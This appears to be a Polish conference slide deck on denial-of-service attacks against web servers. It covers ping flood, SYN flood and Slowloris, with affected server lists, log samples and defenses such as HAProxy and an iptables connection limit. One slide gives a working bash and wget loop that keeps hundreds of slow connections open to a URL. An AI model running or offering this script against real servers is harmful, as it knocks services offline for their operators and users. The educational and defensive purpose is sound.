Jak blada twarz psuje serwer HTTP? Kamil Porembiński thecamels.org
Ping flood Ping flood popularny sposób ataku na serwer internetowy polegający na przeciążeniu łącza pakietami ICMP generowanymi na przykład przez program ping. Przeprowadza się go za pomocą komputera posiadającego łącze o przepustowości większej niż przepustowość łącza atakowanej maszyny, lub za pomocą wielu niezależnych komputerów.
Ping flood kamil@muszelka:~/eclipse$ ping -s 65507 192.168.0.5 PING 192.168.0.5 (192.168.0.5) 65507(65535) bytes of data. 65515 bytes from 192.168.0.5: icmp_seq=1 ttl=64 time=12.0 ms 65515 bytes from 192.168.0.5: icmp_seq=2 ttl=64 time=11.8 ms 65515 bytes from 192.168.0.5: icmp_seq=3 ttl=64 time=11.7 ms 65515 bytes from 192.168.0.5: icmp_seq=4 ttl=64 time=12.7 ms 65515 bytes from 192.168.0.5: icmp_seq=5 ttl=64 time=12.5 ms 65515 bytes from 192.168.0.5: icmp_seq=6 ttl=64 time=11.9 ms 65515 bytes from 192.168.0.5: icmp_seq=7 ttl=64 time=11.8 ms 65515 bytes from 192.168.0.5: icmp_seq=8 ttl=64 time=11.7 ms ^C --- 192.168.0.5 ping statistics --- 8 packets transmitted, 8 received, 0% packet loss, time 7007ms rtt min/avg/max/mdev = 11.777/12.070/12.751/0.339 ms
SYN flood Atak polega na wysyłaniu dużej ilości pakietów z ustawioną w nagłówku flagą synchronizacji (SYN) i najczęściej ze sfałszowanym adresem IP nadawcy (IP spoofing). Pakiety TCP z ustawioną flagą SYN służą do informowania zdalnego komputera o chęci nawiązania z nim połączenia. Podczas takiego ataku serwer, który otrzymał pakiet z flagą SYN na port, który jest otwarty, odpowiada na każdy pakiet zgodnie z zasadami protokołu TCP wysyłając pakiet z ustawionymi flagami synchronizacji (SYN) i potwierdzenia (ACK) do komputera, który w tym wypadku nie istnieje, istnieje, ale nie zamierzał nawiązywać połączenia z atakowanym hostem lub jest to komputer atakowanego, który specjalnie nie odpowiada. Powoduje to przesyłanie dużych ilość danych i obciąża łącze sieciowe.
SYN flood
Slowloris HTTP DoS CCCCCCCCCCOOCCOOOOO888@8@8888OOOOCCOOO888888888@@@@@@@@@8@8@@@@888OOCooocccc:::: CCCCCCCCCCCCCCCOO888@888888OOOCCCOOOO888888888888@88888@@@@@@@888@8OOCCoococc::: CCCCCCCCCCCCCCOO88@@888888OOOOOOOOOO8888888O88888888O8O8OOO8888@88@@8OOCOOOCoc:: CCCCooooooCCCO88@@8@88@888OOOOOOO88888888888OOOOOOOOOOCCCCCOOOO888@8888OOOCc:::: CooCoCoooCCCO8@88@8888888OOO888888888888888888OOOOCCCooooooooCCOOO8888888Cocooc: oooooococcc88@88888@888oo8888888888888888o8o8888oocccoooocccccccoooo88@888ococcc ooooccoo8o888888888@88o8oo88888oo888o8888oooo88888ococoococ::ccoocoo8o888888cooo occcccco8ooocccoo88@88oooooo8888o888ooooocoo88888o8ooocoococc:::cocooo888888oocc occcccooo88ocooco88@8oooooo88o888888ooccccocooo8888ooooooococ::::cocoooo888o88oc occccoo88ooccccoo8@@8oocooooo8888888ooocccccoco8o8oo88ooooocc.:ccooccoooo88888oo CCCOOOO88OOCCOOO8@888OOCCoooCOO8888Ooc::...::coOO88888O888OOo:cocooCCCCOOOOOO88O CCCOO88888OOCOO8@@888OCcc:::cCOO888Oc......cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO OOOOOO88888OOOO8@8@8Ooc:.:...cOO8O88c...coOOO888OOOOCoooooccoCOOOOOCOOOO OOOOO888@8@88888888Oo:.....cO888Oc.. :ooooooooooccoocoocococoooooooo COOO888@88888888888Oo:..O8888C:.oCOo....cCCCOOOoooooocccooooooooCCCOO CCCCOO888888O888888Oo..o8Oo..cO88Oo: :..:..ccocccoocooccooccccooooocccc cooocco8@88oo8o888oo:::..... :co8oc..... :..:cccoooooccoooocccccooooccc :ccooooco888oooo8ooc..:...::..co8@8coc::.......:coocooooccccc::::ccooccooc.:::coocccoo8ooooooc:..::...coco8@8ooccoc:......:ccoooocccc:::::::::cooooooc...::::ccccoccooooocc...:oco8@8@88occcoccccc::c::.:occc:::cccc:..::::coooooo...::::::::cccccccoocc:co888@8888oooocooocoocc::.:cocc::cc:::...:::coocccccc...:::..:coccccccco88oooo8oooccoocccooccc::::ccc::::::...:ccocccc:co...::...:occooooocooccocccoccococc:::::coc::::......:::cccc:cooo.......coocoooccoco:::ccccccc:::ccc::......:::cc::::coc...........:cccocooc:.. ::cccc:::c:........::::c:cccco..............:...:cooc::cccccc:.........:::::ccoocc......::cccc:.::ccoocc:.........:::.:::::::ccco
Slowloris HTTP DoS Nie jest atakiem TCP DoS Analogiczny do ataku SYN Flood Pełne połączenie TCP Niepełne połączenie HTTP Minimalna przepustowość Kilkaset połączeń może zablokować serwer Przez długi czas nie zostawia śladów w logach Napisany w Perlu IO::Socket::INET IO::Socket::SSL GetOpt::Long
Slowloris HTTP DoS Podane na atak: Apache 1.x Apache 2.x dhttpd GoAhead WebServer Odporne na atak: IIS6.0 IIS7.0 lighttpd Squid nginx Cherokee Netscaler Cisco CSS
Slowloris HTTP DoS
Slowloris HTTP DoS 127.0.0.1 - - [29/Jan/2010:20:09:51 +0100] "GET / HTTP/1.1" 400 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0;.NET CLR 1.1.4322;.NET CLR 2.0.503l3;.NET CLR 3.0.4506.2152;.NET CLR 3.5.30729; MSOffice 12)" 127.0.0.1 - - [29/Jan/2010:20:09:51 +0100] "GET / HTTP/1.1" 400 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0;.NET CLR 1.1.4322;.NET CLR 2.0.503l3;.NET CLR 3.0.4506.2152;.NET CLR 3.5.30729; MSOffice 12)" 127.0.0.1 - - [29/Jan/2010:20:09:52 +0100] "GET / HTTP/1.1" 400 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0;.NET CLR 1.1.4322;.NET CLR 2.0.503l3;.NET CLR 3.0.4506.2152;.NET CLR 3.5.30729; MSOffice 12)" 127.0.0.1 - - [29/Jan/2010:20:09:52 +0100] "GET / HTTP/1.1" 400 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0;.NET CLR 1.1.4322;.NET CLR 2.0.503l3;.NET CLR 3.0.4506.2152;.NET CLR 3.5.30729; MSOffice 12)" 127.0.0.1 - - [29/Jan/2010:20:09:52 +0100] "GET / HTTP/1.1" 400 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0;.NET CLR 1.1.4322;.NET CLR 2.0.503l3;.NET CLR 3.0.4506.2152;.NET CLR 3.5.30729; MSOffice 12)" 127.0.0.1 - - [29/Jan/2010:20:09:52 +0100] "GET / HTTP/1.1" 400 315 "-" "Mozi
Slowloris HTTP DoS Zabezpieczenia: HAProxy - http://haproxy.1wt.eu/ http://haproxy.1wt.eu/download/1.3/examples/antidos.cfg Perlbal - http://www.danga.com/perlbal/ mod_limitipconn iptables -I INPUT -p tcp --dport 80 --syn -m connlimit --connlimit-above 20 -j REJECT Jeśli czytasz to zdanie to musisz się wyjątkowo nudzić. W ramach rekompensaty zgłoś się do mnie a dostaniesz małą nagrodę ; )
Czy może być coś gorszego? Może :]
Bash + wget #!/bin/bash ua="mozilla/5.0 (X11; U; Linux x86_64; pl-pl; rv:1.9.1.7) Gecko/20100106 Ubuntu/9.10 (karmic) Firefox/3.5.7" url="http://127.0.0.1/" while true; do for i in `seq 1 200`; do echo "Tworze polaczenie numer $i" wget -b -o /dev/null -O /dev/null -U $ua --limit-rate=1k $url done sleep 30 done
Bash + wget Należy zauważyć, że Wget realizuje to w ten sposób, że po stwierdzeniu, iż odczyt z sieci zabrał mniej czasu, niż wynika to z podanej prędkości, przez odpowiedni czas wstrzymuje się od działania (zasypia). Końcowym efektem takiej strategii jest spowolnienie transferu TCP mniej więcej do podanej prędkości. Niemniej jednak, na osiągnięcie tej równowagi potrzeba trochę czasu, więc nie bądźcie zaskoczeni, jeśli ograniczenie szybkości nie działa dla bardzo małych plików. Tak samo, strategia zasypiania nie zda egzaminu, jeśli poda się zbyt małe pasmo, dajmy na to mniejsze niż 1,5KB/s.
Hmm... czy są jakieś pytania? Właściwie to odpowiedzi szukaj gdzieś w Internecie.